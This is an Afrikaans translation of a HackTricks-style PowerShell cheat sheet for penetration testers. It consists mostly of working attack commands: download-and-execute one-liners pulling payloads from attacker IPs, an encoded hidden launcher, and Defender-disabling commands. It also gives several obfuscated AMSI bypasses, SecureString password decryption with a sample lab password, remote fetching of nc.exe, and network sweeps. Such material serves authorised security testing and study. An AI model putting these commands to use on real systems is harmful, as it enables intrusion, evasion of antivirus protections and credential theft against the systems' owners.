# Basiese PowerShell vir Pentesters {{#include ../../banners/hacktricks-training.md}} ## Standaard PowerShell plekke ```bash C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell ``` ## Basiese PS-opdragte om te begin ```bash Get-Help * #List everything loaded Get-Help process #List everything containing "process" Get-Help Get-Item -Full #Get full helpabout a topic Get-Help Get-Item -Examples #List examples Import-Module Get-Command -Module ``` ## Laai Af & Voer Uit ```bash echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd( #https://twitter.com/Alh4zr3d/status/1566489367232651264 #host a text record with your payload at one of your (unburned) domains and do this: powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] ``` ### Laai af & Voer in die agtergrond uit met AMSI Bypass ```bash Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" ``` ### Gebruik b64 van linux ```bash echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0 powershell -nop -enc ``` ## Laai Af ### System.Net.WebClient ```bash (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") ``` ### Invoke-WebRequest ```bash Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" ``` ### Wget ```bash wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" ``` ### BitsTransfer ```bash Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output # OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ## Base64 Kali & EncodedCommand ```bash kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` ## [Uitvoeringsbeleid](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy) ## [Beperkte taal](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) ## [AppLocker-beleid](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) ## Aktiveer WinRM (Afgeleë PS) ```bash enable-psremoting -force #This enables winrm # Change NetWorkConnection Category to Private #Requires -RunasAdministrator Get-NetConnectionProfile | Where{ $_.NetWorkCategory -ne 'Private'} | ForEach { $_ $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm } ``` ## Deaktiveer Defender ```bash # Check status Get-MpComputerStatus Get-MpPreference | select Exclusion* | fl #Check exclusions # Disable Set-MpPreference -DisableRealtimeMonitoring $true #To completely disable Windows Defender on a computer, use the command: New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force # Set exclusion path Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring Add-MpPreference -ExclusionPath (pwd) # Check exclusions configured via GPO Parse-PolFile .\Registry.pol KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions ValueName : Exclusions_Paths ValueType : REG_DWORD ValueLength : 4 ValueData : 1 KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths ValueName : C:\Windows\Temp ValueType : REG_SZ ValueLength : 4 ValueData : 0 ``` ### AMSI omseiling **`amsi.dll`** is **gelaai** in jou proses, en het die nodige **uitvoere** vir enige toepassing om mee te werk. En omdat dit in die geheue ruimte van 'n proses is wat jy **beheer**, kan jy sy gedrag verander deur **instruksies in geheue te oorskryf**. Dit maak dit onmoontlik om enigiets te detecteer. Daarom is die doel van die AMSI omseilings wat jy gaan gebruik om die **instruksies van daardie DLL in geheue te oorskryf om die opsporing nutteloos te maak**. **AMSI omseil generator** webblad: [**https://amsi.fail/**](https://amsi.fail/) ```bash # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) # Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1 $A="5492868772801748688168747280728187173688878280688776828" $B="1173680867656877679866880867644817687416876797271" [Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B). substring(($_*2),2))})-replace " " ). GetField([string](38..51|%{[char][int](29+($A+$B). substring(($_*2),2))})-replace " ",'NonPublic,Static'). SetValue($null,$true) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI [Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI &( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( ) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI ${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s') ${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c') ${1}.SetValue($null,$true) # Another Method $a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u)) $field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static') $field.SetValue($null,$true) # AMSI Bypass in python https://fluidattacks.com/blog/amsi-bypass-python/ # Testing for Amsi Bypass: https://github.com/rasta-mouse/AmsiScanBufferBypass # Amsi-Bypass-Powershell https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell https://blog.f-secure.com/hunting-for-amsi-bypasses/ https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans https://slaeryan.github.io/posts/falcon-zero-alpha.html ``` ### AMSI Bypass 2 - Gemanagte API-oproep Haak Kyk [**hierdie pos vir gedetailleerde inligting en die kode**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Inleiding: Hierdie nuwe tegniek berus op API-oproep haak van .NET metodes. Soos dit blyk, moet .NET Metodes gekompileer word na inheemse masjieninstruksies in geheue wat baie soortgelyk lyk aan inheemse metodes. Hierdie gekompileerde metodes kan gehaak word om die beheerstroom van 'n program te verander. Die stappe om API-oproep haak van .NET metodes uit te voer is: 1. Identifiseer die teikenmetode om te haak 2. Definieer 'n metode met dieselfde funksieprototipe as die teiken 3. Gebruik refleksie om die metodes te vind 4. Verseker dat elke metode gekompileer is 5. Vind die ligging van elke metode in geheue 6. Oorskryf die teikenmetode met instruksies wat na ons kwaadwillige metode wys ### AMSI Bypass 3 - SeDebug Privilege [**Volg hierdie gids & kode**](https://github.com/MzHmO/DebugAmsi) om te sien hoe jy met genoeg voorregte om prosesse te debugeer, 'n powershell.exe-proses kan genereer, dit kan debugeer, monitor wanneer dit `amsi.dll` laai en dit kan deaktiveer. ### AMSI Bypass - Meer Hulpbronne - Kyk na die bladsy oor **[Om AVs & AMSI te omseil](../av-bypass.md)** - [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) - [Amsi Bypass op Windows 11 In 2023](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023) ## PS-History ```bash Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt ``` ## Vind 'n nuwer lêers Opsies : `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc` ```bash # LastAccessTime: (gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName # LastWriteTime: (gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName ``` ## Kry toestemmings ```bash Get-Acl -Path "C:\Program Files\Vuln Services" | fl ``` ## OS weergawe en HotFixes ```bash [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ## Omgewing ```bash Get-ChildItem Env: | ft Key,Value -AutoSize #get all values $env:UserName @Get UserName value ``` ## Ander gekonnekte skywe ```bash Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ### Herwinningskas ```bash $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() ``` ## Domein Recon {{#ref}} powerview.md {{#endref}} ## Gebruikers ```bash Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` ## Veilige String na Platvormtekst ```bash $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" $cred = New-Object System.management.Automation.PSCredential($user, $pass) $cred.GetNetworkCredential() | fl UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` Of direk pars van XML: ```bash $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` ## SUDO ```bash #CREATE A CREDENTIAL OBJECT $pass = ConvertTo-SecureString '' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("", $pass) #For local: Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')" #For WINRM #CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user) Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred #DOWNLOAD nc.exe Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}' #Another method $secpasswd = ConvertTo-SecureString "" -AsPlainText -Force $mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) $computer = "" ``` ## Groepe ```bash Get-LocalGroup | ft Name #All groups Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators ``` ## Klembord ```bash Get-Clipboard ``` Voer 'n clipboard-monitering uit met: - [https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1](https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1) - [https://github.com/slyd0g/SharpClipboard](https://github.com/slyd0g/SharpClipboard) ## Prosesse ```bash Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` ## Dienste ``` Get-Service ``` ## Wagwoord uit veilige string ```bash $pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file $cred=new-object system.management.automation.pscredential("administrator", $pw) $cred.getnetworkcredential() | fl * #Get plaintext password ``` ## Geskeduleerde Take ```bash Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` ## Netwerk ### Poort Skandering ```bash # Check Port or Single IP Test-NetConnection -Port 80 10.10.10.10 # Check Port List in Single IP 80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null # Check Port Range in single IP 1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null # Check Port List in IP Lists - 80,443,445,8080 "10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null} ``` ### Interfaces ```bash Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Vuurmuur ```bash Get-NetFirewallRule -Enabled True Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow # Open SSH to the world New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow # Get name, proto, local and rremote ports, remote address, penable,profile and direction ## You can user the following line changing the initial filters to indicat a difefrent direction or action Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action ``` ### Roete ```bash route print ``` ### ARP ```bash Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` ### Gashere ```bash Get-Content C:\WINDOWS\System32\drivers\etc\hosts ``` ### Ping ```bash $ping = New-Object System.Net.Networkinformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status } ``` ### SNMP ```bash Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` ## **Om die SDDL-string in 'n Leesbare Formaat te omskep** ```bash PS C:\> ConvertFrom-SddlString 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Owner : BUILTIN\Administrators Group : BUILTIN\Administrators DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...} SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users: SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess (Traverse)...} RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor ``` {{#include ../../banners/hacktricks-training.md}}